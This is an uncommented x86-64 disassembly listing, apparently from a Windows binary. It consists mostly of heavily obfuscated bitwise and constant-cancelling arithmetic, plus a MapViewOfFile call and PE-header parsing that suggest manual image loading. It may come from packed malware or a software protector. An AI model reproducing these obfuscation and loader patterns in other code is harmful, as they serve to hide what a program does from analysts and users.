and sil, dl
xor bl, dl
mov ebp, r9d
xor bpl, 1
or bl, sil
mov esi, ebx
and sil, r14b
xor bl, 1
and bl, cl
or bl, sil
mov esi, r14d
and sil, r11b
xor r11b, r14b
or r11b, sil
mov eax, r11d
xor al, bl
xor bl, 1
xor al, 1
or bl, r11b
xor bl, 1
or bl, al
mov edx, ebp
and dl, r9b
mov r11d, edx
and r11b, r9b
xor dl, r9b
or dl, r11b
mov eax, edx
xor al, bl
mov r9d, eax
and r9b, dl
and al, bl
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
and cl, r14b
xor cl, 1
mov ebx, ecx
xor bl, r14b
or cl, r14b
xor cl, 1
or cl, bl
xor cl, dl
mov edx, r14d
and dl, bpl
xor bpl, r14b
or bpl, dl
mov edx, ebp
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bpl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
mov ecx, eax
xor cl, dl
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov bl, byte [rsp + 0x48]
and dl, bl
mov cl, byte [rsp + 0x3c]
and cl, al
or cl, dl
xor al, cl
and al, cl
xor cl, 1
or cl, bl
xor cl, 1
xor al, cl
mov r11d, eax
xor r11b, 1
and r11b, cl
mov ecx, r11d
and cl, al
xor r11b, al
or r11b, cl
xor r15b, 1
xor r10b, r15b
and r10b, r15b
mov eax, edi
xor al, 1
mov ecx, r10d
xor cl, dil
and cl, r10b
and dil, r10b
xor r10b, 1
and r10b, al
or dil, r10b
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov r10d, edi
xor r10b, 1
mov edx, r10d
and dl, dil
xor dl, 1
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
or r10b, dil
mov ecx, r10d
xor cl, 1
mov eax, edx
and al, r9b
mov ebx, eax
xor bl, 1
xor al, dl
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, cl
and bl, r10b
or bl, al
xor r10b, r9b
or cl, dl
xor cl, 1
or cl, r10b
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
mov edx, r11d
xor dl, 1
mov r14d, edx
and r14b, r11b
xor r14b, 1
mov eax, r11d
xor al, r14b
or r14b, r11b
xor r14b, 1
or r14b, al
mov r10d, r14d
xor r10b, 1
mov esi, r14d
xor sil, r10b
and sil, r14b
or dl, r11b
mov r11d, edx
xor r11b, 1
mov eax, ebx
or al, r9b
mov edi, eax
xor dil, 1
mov ebp, esi
xor bpl, 1
and r11b, bpl
or bpl, dl
and dl, sil
or dl, r11b
mov r11d, ebp
xor r11b, dl
xor dl, 1
xor r11b, 1
or dl, bpl
xor dl, 1
or dl, r11b
mov ecx, r9d
xor cl, al
and cl, r9b
and dil, bl
and al, r9b
or al, dil
mov r9d, ecx
xor r9b, 1
xor cl, al
xor al, 1
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or cl, dl
mov eax, r14d
xor al, bl
and al, r14b
xor r10b, bl
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov r9d, r10d
xor r9b, 1
mov edx, ecx
xor dl, 1
mov r11d, ecx
and r11b, dl
mov eax, r9d
and al, r10b
mov ebx, r11d
xor bl, 1
xor r11b, cl
or bl, dl
xor bl, 1
or bl, r11b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
mov ecx, edx
and cl, r10b
xor dl, r10b
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r10d, edx
xor r10b, 1
mov eax, edx
and al, r10b
mov ecx, r10d
xor cl, al
xor r10b, dl
or r10b, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r11d, eax
xor r11b, 1
mov r9d, r10d
xor r9b, 1
mov edx, r11d
and dl, al
mov ecx, edx
xor cl, 1
mov edi, r11d
xor dil, dl
or cl, al
xor cl, 1
or cl, dil
mov eax, ecx
xor al, 1
or cl, al
mov ebp, ecx
xor bpl, 1
mov esi, r10d
or sil, r9b
mov r14d, esi
xor r14b, 1
and dl, r11b
or dl, dil
and bpl, dl
xor dl, 1
and dl, cl
or dl, bpl
mov edi, ecx
and dil, r11b
xor cl, r11b
or cl, dil
xor cl, 1
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
mov r11d, eax
or r11b, r9b
xor al, r9b
and r9b, sil
or sil, r10b
and r14b, r10b
or r14b, r9b
mov edx, esi
xor dl, r14b
xor r14b, 1
xor dl, 1
or r14b, sil
xor r14b, 1
or r14b, dl
mov r9d, ecx
xor r9b, 1
mov edx, r9d
and dl, cl
mov r10d, r14d
xor r10b, 1
mov ebx, r10d
and bl, r14b
xor r9b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r9b
xor r10b, bl
xor bl, 1
or bl, r14b
xor bl, 1
or bl, r10b
xor bl, dl
xor r11b, 1
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
and al, r9b
mov r10d, ecx
xor r10b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r10b
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
mov ecx, r10d
and cl, al
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
mov r9d, eax
and r9b, dl
xor dl, 1
mov ecx, edx
xor cl, r10b
and cl, dl
and dl, r10b
or dl, r9b
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov r9d, edx
xor r9b, bl
or bl, dl
xor bl, 1
or bl, r9b
xor al, bl
mov edx, r10d
xor dl, bl
xor al, 1
or bl, r10b
xor bl, 1
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov esi, ebx
xor sil, 1
mov r9d, r8d
xor r9b, 1
mov r10d, r8d
or r10b, r9b
mov r11d, r10d
xor r11b, 1
and r11b, r8b
mov edi, r9d
and dil, r8b
xor dil, 1
mov eax, r8d
xor al, dil
or dil, r8b
xor dil, 1
or dil, al
mov ebp, edi
xor bpl, 1
or bpl, r8b
or r8b, r10b
and r10b, r9b
or r10b, r11b
mov edx, r8d
xor dl, r10b
xor r10b, 1
xor dl, 1
or r10b, r8b
xor r10b, 1
or r10b, dl
mov edx, esi
or dl, bl
xor dl, 1
mov eax, esi
xor al, bl
and al, sil
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
xor r8b, 1
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
and r8b, al
xor r8b, 1
mov edx, eax
xor dl, r8b
or r8b, al
xor r8b, 1
or r8b, dl
and bl, sil
xor bl, 1
mov eax, esi
xor al, bl
or bl, sil
xor bl, 1
or bl, al
mov r11d, r10d
xor r11b, 1
mov eax, r11d
xor al, r10b
mov ecx, r11d
or cl, r10b
xor cl, 1
or cl, al
xor dil, r9b
xor bpl, 1
or bpl, dil
mov edi, ebp
xor dil, 1
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov r9d, eax
xor r9b, 1
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
mov esi, ebp
xor sil, 1
mov edx, ecx
xor dl, dil
xor dl, 1
and dl, dil
or dil, cl
xor dil, 1
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
mov ecx, edi
xor cl, bpl
mov edx, ebp
and dl, sil
mov ebx, ebp
and bl, dl
xor dl, bpl
or dl, bl
xor dl, dil
xor cl, 1
or dil, sil
xor dil, 1
or dil, cl
mov ecx, edx
xor cl, dil
or dil, dl
xor dil, 1
or dil, cl
mov edx, r9d
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
mov esi, eax
and sil, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, esi
xor bl, 1
mov ebp, r9d
xor bpl, bl
or bl, r9b
xor bl, 1
or bl, bpl
xor r10b, r8b
xor bl, cl
xor bl, 1
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
xor r9b, al
or r9b, sil
mov esi, r9d
xor sil, 1
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov ecx, eax
xor al, dl
mov edx, esi
and dl, r9b
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
and al, sil
xor dl, sil
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, edi
xor al, 1
or al, dil
mov esi, eax
xor sil, 1
mov r9d, ebx
xor r9b, 1
mov ecx, r9d
and cl, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
and al, sil
mov ecx, eax
and cl, sil
xor al, sil
or al, cl
xor al, dil
mov ebp, esi
xor bpl, dil
or sil, dil
mov ecx, edx
xor cl, 1
xor sil, 1
or sil, bpl
xor sil, 1
mov edi, eax
and dil, sil
xor sil, al
or sil, dil
mov eax, ecx
xor al, r9b
and al, cl
and dl, bl
and cl, r9b
or cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, esi
xor al, 1
and sil, al
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov eax, esi
and sil, cl
xor cl, 1
xor al, 1
and al, cl
or sil, al
mov eax, r10d
or al, r11b
mov r9d, eax
xor r9b, 1
and r10b, r8b
or r11b, r8b
xor r11b, 1
mov ecx, r10d
and cl, r11b
xor r11b, r10b
or r11b, cl
mov ebx, r11d
xor bl, 1
mov ecx, r11d
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, r11b
or dl, bl
xor dl, 1
or dl, cl
and al, dl
xor dl, 1
and dl, r9b
or dl, al
mov eax, r9d
xor al, r11b
or r11b, r9b
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, dl
xor dl, 1
xor al, 1
or dl, r11b
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov ecx, edx
or cl, r8b
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ebx, eax
and bl, dl
xor al, 1
and al, r8b
or al, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
and r9b, cl
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov r8d, r9d
xor r8b, 1
mov r10d, esi
xor r10b, 1
mov ebx, r10d
or bl, sil
mov edi, esi
and dil, r10b
mov r11d, esi
and r11b, dil
xor dil, sil
and sil, bl
xor bl, 1
mov edx, r8d
or dl, r9b
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, r10b
and cl, bl
and bl, r10b
or bl, sil
mov esi, ecx
xor sil, 1
xor cl, bl
xor bl, 1
or bl, sil
xor bl, 1
or bl, cl
mov ecx, edx
and cl, al
xor cl, 1
mov esi, eax
xor sil, cl
or cl, al
xor cl, 1
or cl, sil
xor cl, r8b
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, r9d
and al, r8b
or dil, r11b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
xor al, dil
mov ecx, r10d
xor cl, r8b
or r10b, r8b
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, al
xor al, 1
xor cl, 1
or al, r10b
xor al, 1
or al, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r8d, ebx
and r8b, cl
xor cl, bl
mov ebx, eax
xor bl, 1
and al, bl
or cl, r8b
xor al, 1
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
mov r8d, ecx
xor r8b, 1
and r8b, al
xor al, 1
and al, cl
or al, r8b
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0x6a4ee5fc
mov ebp, 0xa89dd2a4
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x6a4ee5fc
jmp 0x14001f962
mov rcx, qword [rsp + 0x138]
mov qword [rsp + 0x20], 0
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x128]
mov qword [rsp + 0x150], rcx
movsxd rdx, dword [rax + 0x3c]
add rdx, qword [rsp + 0xa8]
movabs rax, 0x60cc29037ae76923
mov rcx, rax
movabs rbp, 0x951b776dd7f0652c
add rax, rbp
movabs rbx, 0x8e9ee566ab052992
sub rax, rbx
sub rax, rcx
add rax, rbx
movabs rcx, 0xec60dd659564bfe7
mov rbx, rcx
movabs rcx, 0x77497fb41e65fc7b
mov rdi, rcx
add rcx, rbx
sub rcx, qword [rsp + 0x150]
sub rcx, rdi
sub rcx, rbx
movabs rbx, 0xf9795fc4133e956d
add rax, rbx
movabs rdi, 0x3d07ed78159928ae
sub rax, rdi
sub rax, rbx
add rax, rcx
add rax, rdi
movabs rcx, 0x2d42c1bea90cd55f
sub rax, rcx
movabs rbx, 0x874cfb4970760073
sub rax, rbx
movabs rdi, 0x37928539fdf5777e
add rax, rdi
add rax, rcx
movabs rcx, 0x1691b7ce8571ce51
sub rax, rcx
sub rax, rdi
add rax, rcx
movabs rcx, 0xd4a2d70d5de95fa2
add rax, rcx
movabs rdi, 0xf3414ec9ea2eb557
add rax, rdi
sub rax, rbp
sub rax, rdi
movabs rbp, 0xd2585f42ec11cacf
sub rax, rbp
sub rax, rcx
add rax, rbp
add rax, rbx
movabs rcx, 0x3a68db95252e7921
add rdx, rcx
movabs rcx, 0x26f6265a1ad09977
add rdx, rcx
sub rcx, rdx
movabs rdx, 0x431ed2e958f9e341
sub rcx, rdx
movabs rbp, 0x3b0c3f711088aa6a
sub rcx, rbp
movabs rbx, 0xe41375f769a7725f
add rcx, rbx
add rcx, rdx
movabs rdx, 0x52cc82814fb8daf8
add rcx, rdx
sub rcx, rbx
sub rcx, rdx
movabs rdx, 0xfc72c23f40432afd
sub rcx, rdx
add rcx, rbp
add rcx, rdx
movabs rdx, 0x606084cb1b419870
sub rcx, rdx
movabs rbp, 0x2d4e437dca5fb435
sub rcx, rbp
movabs rbx, 0xd0d0ce43081fac78
sub rcx, rbx
add rcx, rdx
add rcx, rbp
movabs rdx, 0x8733429ea6f2a3f4
add rcx, rdx
movabs rbp, 0x6d9c2be5221a630
sub rcx, rbp
sub rcx, rdx
movabs rdx, 0xfabea8a0fe2ed566
sub rcx, rdx
movabs rdi, 0xb2fb597aaee15141
sub rcx, rdi
add rcx, rdx
movabs rdx, 0xcb3cd66f90c681de
add rcx, rdx
add rcx, rbp
sub rcx, rdx
movabs rdx, 0xf502e1db27d0197
mov rbp, rdx
add rcx, rdx
movabs rdx, 0x7e01660c919dc7fa
add rcx, rdx
sub rcx, rbp
add rcx, rbx
movabs rdx, 0x5a102740b93ebee7
mov rbx, rdx
sub rcx, rdx
movabs rdx, 0xa2d14a729f6da6e0
add rax, rdx
sub rdx, rax
movabs rax, 0xb5cada5a5f9b0418
add rdx, rax
movabs rbp, 0x3ca89bc61e7fd633
mov rdi, rbp
add rax, rbp
movabs rbp, 0x68170d5168bd554c
mov rsi, rbp
add rcx, rbp
mov rbp, qword [rsp + 0xa0]
sub rbp, rcx
movabs rcx, 0x817cea3b81d65aa3
add rbp, rcx
add rbp, rsi
movabs rcx, 0xbbc0611be90bc91d
sub rbp, rcx
sub rbp, rbx
add rbp, rcx
movabs rcx, 0xdd00631b55331b6
add rbp, rcx
sub rcx, rbp
add rdx, rdi
sub rdx, rax
movabs rax, 0xe3245f3725ef2bc9
mov rbp, rax
add rdx, rax
movabs rbx, 0x299ed9d5ccab3aa3
mov rax, rbx
sub rax, rdx
add rax, rbp
sub rax, rbx
movabs rdx, 0x608b24fe5c6a9180
add rcx, rdx
sub rcx, qword [rsp + 0x80]
add rcx, rax
movabs rax, 0xf6a565c279ac4d93
add rcx, rax
movabs rax, 0xbcdfb53b6257075e
add rcx, rax
movabs rdx, 0x218b04648eba9bf0
sub rcx, rdx
sub rcx, rax
add rcx, rdx
movabs rdx, 0xcd4a8609f63ef943
add rcx, rdx
sub rdx, rcx
movabs rax, 0x93c5fe77e3153de1
mov rbp, rax
add rdx, rax
movabs rax, 0xccbef202e944a97f
mov rbx, rax
movabs rax, 0x3418a0bd0c3f0747
lea rcx, [rax + rbx]
sub rax, rcx
movabs rcx, 0x70b3c8827a64a819
sub rax, rcx
movabs rdi, 0xbd639aed24f9776a
sub rax, rdi
add rax, rcx
movabs rcx, 0x5d78aa8dacb5023f
add rax, rcx
add rax, rbx
sub rax, rcx
movabs rcx, 0xa164952ef18e44a8
sub rax, rcx
movabs rbx, 0x64d92419e4484526
sub rax, rbx
add rax, rcx
add rax, rbp
movabs rcx, 0x2b35f6beac109985
add rdx, rcx
sub rax, rdx
add rax, rcx
movabs rcx, 0x2e7e2686347e6d4e
sub rax, rcx
add rax, rbx
add rax, rcx
movabs rcx, 0xd8ef7ef68c69ed99
add rax, rcx
movabs rdx, 0xfdc66d31d9e7ce91
add rax, rdx
add rax, rdi
sub rax, rdx
movabs rdx, 0x5724ea6153ba491
add rax, rdx
sub rcx, rax
add rcx, rdx
movabs rax, 0x3a0cedf025a53b8d
sub rcx, rax
movabs rdx, 0xe86615aae79526ea
add rcx, rdx
add rcx, rax
sub rcx, rdx
movabs rbp, 0x7fc3beefdf6f0929
mov rax, rbp
movabs rdx, 0x564b2707508f30ed
sub rax, rdx
sub rax, rbp
movabs rbp, 0xb304780873536ab
sub rax, rbp
movabs rbx, 0x684384035e306b38
add rax, rbx
add rax, rbp
movabs rbp, 0x7bddb988fc44e49d
sub rax, rbp
movabs rdi, 0xaf0001dcd9d128b2
sub rax, rdi
add rax, rcx
add rax, rdx
add rax, rbp
movabs rcx, 0x4b8b348940eb313b
add rax, rcx
add rax, rdi
sub rax, rcx
movabs rcx, 0xbf7372dd20936426
sub rax, rcx
sub rax, rbx
add rax, rcx
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x48], rax
mov eax, dword [0x1400c5670]
lea r11d, [rax - 1]
imul r11d, eax
mov r9d, r11d
not r9d
mov edi, r9d
mov edx, r9d
mov ecx, r9d
mov ebp, r9d
and ebp, 0x168fe4d9
mov ebx, r11d
and ebx, 0xe9701b26
or ebx, ebp
xor ebx, 0xe9701b26
and edi, r11d
mov ebp, ebx
and ebp, edi
xor edi, ebx
or edi, ebp
mov eax, edi
not eax
and eax, 0xc85079dc
and edi, 0x37af8623
or edi, eax
mov eax, edi
xor eax, 0x25ab0601
xor edi, 0x88104848
and edi, 0x9a14c86a
and eax, 0x65eb3795
or eax, edi
mov edi, eax
xor edi, 0x65eb3795
xor eax, 0x9a14c86a
and edx, 0x545563e2
mov ebx, r11d
and ebx, 0xabaa9c1d
or ebx, edx
mov edx, ebx
xor edx, 0xabaa9c1d
xor ebx, 0x545563e2
or ebx, edx
mov edx, ebx
not edx
and edx, eax
mov ebp, edi
xor ebp, ebx
and ebp, edi
and ebx, edi
or ebx, edx
mov eax, ebp
not eax
mov edx, ebx
not edx
mov edi, eax
and edi, 0xf645cf99
and ebp, 0x9ba3066
or ebp, edi
or eax, edx
and edx, 0xf645cf99
and ebx, 0x9ba3066
or ebx, edx
xor ebx, ebp
not eax
or eax, ebx
mov ebp, eax
not ebp
mov edx, ebp
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xc6136824
and ebp, 0x39ec97db
or ebp, edi
or eax, ebx
and ebx, 0xc6136824
and edx, 0x39ec97db
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x5ca626a2
and eax, 0xa359d95d
or eax, edx
mov esi, eax
xor esi, 0xa359d95c
mov ebx, eax
xor ebx, 0xc0204a0
or ebx, 0x50b5230b
mov edi, ebx
not edi
or ebp, 0xaf4adcf4
mov edx, ebp
not edx
and ebx, 0xb5d905d3
and edi, 0xa02d824
or edi, ebx
and ebp, 0xb5d905d3
and edx, 0x40242208
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0xf22ea0a8
and edx, 0xdd15f57
or edx, ebp
xor edx, 0x5d647c5d
and esi, 0xfffffffe
xor eax, 0x5ca626a3
or eax, esi
not eax
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x609d5ea6
and eax, 0x9f62a159
or eax, edx
mov edx, eax
not edx
and edx, 0x3978d599
and eax, 0xc6872a66
or eax, edx
mov r15d, eax
xor r15d, 0x820860c0
xor eax, 0x59e58b3f
mov edx, eax
and edx, 0x2dd31d2c
and r15d, 0xd22ce2d3
or r15d, edx
xor r15d, 0xd22ce2d3
or r15d, eax
mov r10d, r15d
not r10d
and ecx, 0x24002042
mov edx, r11d
and edx, 0x8843dc18
or edx, ecx
mov eax, edx
xor eax, 0x41d410
xor edx, 0x77bc23e7
mov ecx, r11d
xor ecx, 0xac43fc5a
and ecx, r11d
mov esi, ecx
not esi
mov edi, edx
and edi, 0xda9e080b
and eax, 0x2441f450
or eax, edi
or edx, esi
and esi, 0xda9e080b
and ecx, 0x2561f7f4
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x53bc03a5
and edx, 0xac43fc5a
or edx, eax
mov eax, edx
xor eax, 1
and eax, edx
mov ecx, edx
not ecx
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and edx, eax
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x4f0824be
and edx, 0xb0f7db41
or edx, eax
mov eax, edx
xor eax, 0x80274a00
xor edx, 0x90020be
and edx, 0x39d0b1ff
and eax, 0xc62f4e00
or eax, edx
mov r12d, eax
xor r12d, 0xc62f4e00
xor eax, 0x39d0b1ff
mov ecx, eax
and ecx, 0xd16e0759
mov esi, r12d
and esi, 0x2e91f8a6
or esi, ecx
mov r14d, r10d
mov ecx, r10d
and ecx, 0x45dadd3a
mov edx, r15d
and edx, 0xba2522c5
or edx, ecx
mov ecx, esi
xor ecx, 0x2a012084
xor esi, 0xd16e0759
or r14d, esi
and esi, 0x45dadd3a
and ecx, 0xba2522c5
or ecx, esi
mov esi, r9d
xor ecx, edx
not r14d
or r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0x6acd8697
and r14d, 0x95327968
or r14d, ecx
mov ecx, r11d
mov r13d, r11d
xor r13d, 0xaa45da4d
and r13d, r11d
and esi, 0xd5cf32a2
and r11d, 0x2a30cd5d
or r11d, esi
mov esi, r15d
xor r15d, 0xae8f909c
and r15d, r10d
xor r11d, 0xd5cf32a2
or r11d, r9d
and esi, 0x50304961
and r10d, 0x1402602
or r10d, esi
and eax, 0x604862
mov esi, r12d
and esi, 0x51102701
or esi, eax
mov eax, r14d
xor eax, 0x95327968
xor r10d, 0x1402602
xor esi, 0x51102701
and r12d, 0xae8f909c
or r12d, esi
mov esi, r10d
and esi, r15d
xor r15d, r10d
or r15d, esi
mov ebp, r15d
not ebp
and ebp, 0xa6718bd7
and r15d, 0x598e7428
or r15d, ebp
mov edi, r12d
not edi
and edi, 0xa6718bd7
and r12d, 0x598e7428
or r12d, edi
xor r12d, r15d
mov ebp, r14d
xor ebp, 0x4ac48293
and ebp, 0xdbe4839b
xor r14d, 0x48766b00
and r14d, eax
and eax, 0x241b7c64
or eax, ebp
mov ebp, eax
xor ebp, 0x241b7c64
mov ebx, r12d
not ebx
xor eax, 0x6a091f3
and eax, ebp
mov edi, eax
and edi, r14d
xor r14d, eax
mov eax, r12d
xor eax, 0xdd441268
and eax, ebx
and r12d, 0x22bbed97
or r14d, edi
mov edi, eax
and edi, r12d
xor r12d, eax
or r12d, edi
mov eax, r14d
not eax
and eax, r12d
not r12d
and r12d, r14d
or r12d, eax
mov eax, ebp
and eax, ebx
xor ebx, ebp
or ebx, eax
mov eax, ebx
not eax
mov ebp, r12d
not ebp
mov edi, ebp
and edi, 0x7ba34dad
and r12d, 0x845cb252
or r12d, edi
or ebp, ebx
and ebx, 0x7ba34dad
and eax, 0x845cb252
or eax, ebx
xor eax, r12d
not ebp
or ebp, eax
mov edi, ebp
not edi
mov eax, edi
or edi, ebp
and ebp, 0xef5fdda6
and eax, 0x10a02259
or eax, ebp
mov ebx, eax
xor ebx, 0xa70c0402
xor eax, 0x2251
and eax, 0x4853fbf5
and ebx, 0xb7ac040a
or ebx, eax
mov ebp, ebx
xor ebp, 0xb7ac040a
mov edx, ebx
xor edx, 0x40121180
mov esi, edi
not esi
and esi, 0x604bdb40
and edi, 0x9fb424bf
or edi, esi
mov eax, edi
xor eax, 0x9fb424bf
xor edi, 0x41d900
and edi, 0x8245d92c
mov esi, eax
and esi, 0x7dba26d3
or esi, edi
xor ebx, 0xe3121588
and ebx, ebp
and edx, 0x54be1182
mov edi, ebx
and edi, edx
xor edx, ebx
mov ebx, esi
xor ebx, 0x7dba26d3
xor esi, 0x29043751
and esi, ebx
and eax, 0x54be1182
or edx, edi
mov edi, esi
and edi, eax
xor eax, esi
or eax, edi
mov edi, edx
not edi
and edi, eax
not eax
and eax, edx
or eax, edi
mov edx, ebp
and edx, ebx
xor ebx, ebp
or ebx, edx
mov edx, ebx
not edx
mov r15d, eax
not r15d
mov edi, r15d
and edi, 0xe59ccb2b
and eax, 0x1a6334d4
or eax, edi
or r15d, ebx
and ebx, 0xe59ccb2b
and edx, 0x1a6334d4
or edx, ebx
xor edx, eax
not r15d
or r15d, edx
and r9d, 0x2a055041
and ecx, 0x80408a0c
or ecx, r9d
mov eax, ecx
xor eax, 0x20c
xor ecx, 0x7fbf75f3
mov edx, r13d
not edx
mov ebx, ecx
and ebx, 0xa94d9d33
and eax, 0x200424c
or eax, ebx
or ecx, edx
and edx, 0xa94d9d33
and r13d, 0x56b262cc
or r13d, edx
xor r13d, eax
not ecx
or ecx, r13d
mov eax, ecx
not eax
and eax, 0x55ba25b2
and ecx, 0xaa45da4d
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb53f849f
and ecx, 0x4ac07b60
or ecx, eax
mov r9d, ecx
xor r9d, 0x4ac07b60
mov edx, ecx
xor edx, 0xb53f849f
mov r10d, r11d
not r10d
xor ecx, 0x4d25ff26
mov edi, ecx
and edi, r9d
and ecx, edx
mov ebx, r10d
or ebx, 0x7e58446
mov eax, edi
not eax
mov esi, eax
and esi, 0xfdb2571e
and edi, 0x24da8e1
or edi, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xfdb2571e
and ecx, 0x24da8e1
or ecx, esi
mov esi, ebx
not esi
xor ecx, edi
mov edi, r11d
xor edi, 0x7e58446
and edi, r10d
not eax
or eax, ecx
mov ecx, ebx
and ecx, 0xfa71d728
and esi, 0xa2891
or esi, ecx
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0xfa71d728
and edi, 0x58e28d7
or edi, ecx
xor edi, esi
mov r14d, dword [0x1400c566c]
not ebx
or ebx, edi
mov ecx, eax
not ecx
and ecx, ebx
not ebx
and ebx, eax
or ebx, ecx
mov eax, edx
and eax, 0x22b93786
and r9d, 0xdd46c879
or r9d, eax
or edx, r10d
and r10d, 0x22b93786
and r11d, 0xdd46c879
or r11d, r10d
xor r11d, r9d
not edx
or edx, r11d
mov eax, edx
not eax
and eax, 0x2999cff6
and edx, 0xd6663009
or edx, eax
xor edx, 0xd6663009
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x8a89fcc
mov ebx, edx
and ebx, 0xf7576033
or ebx, ecx
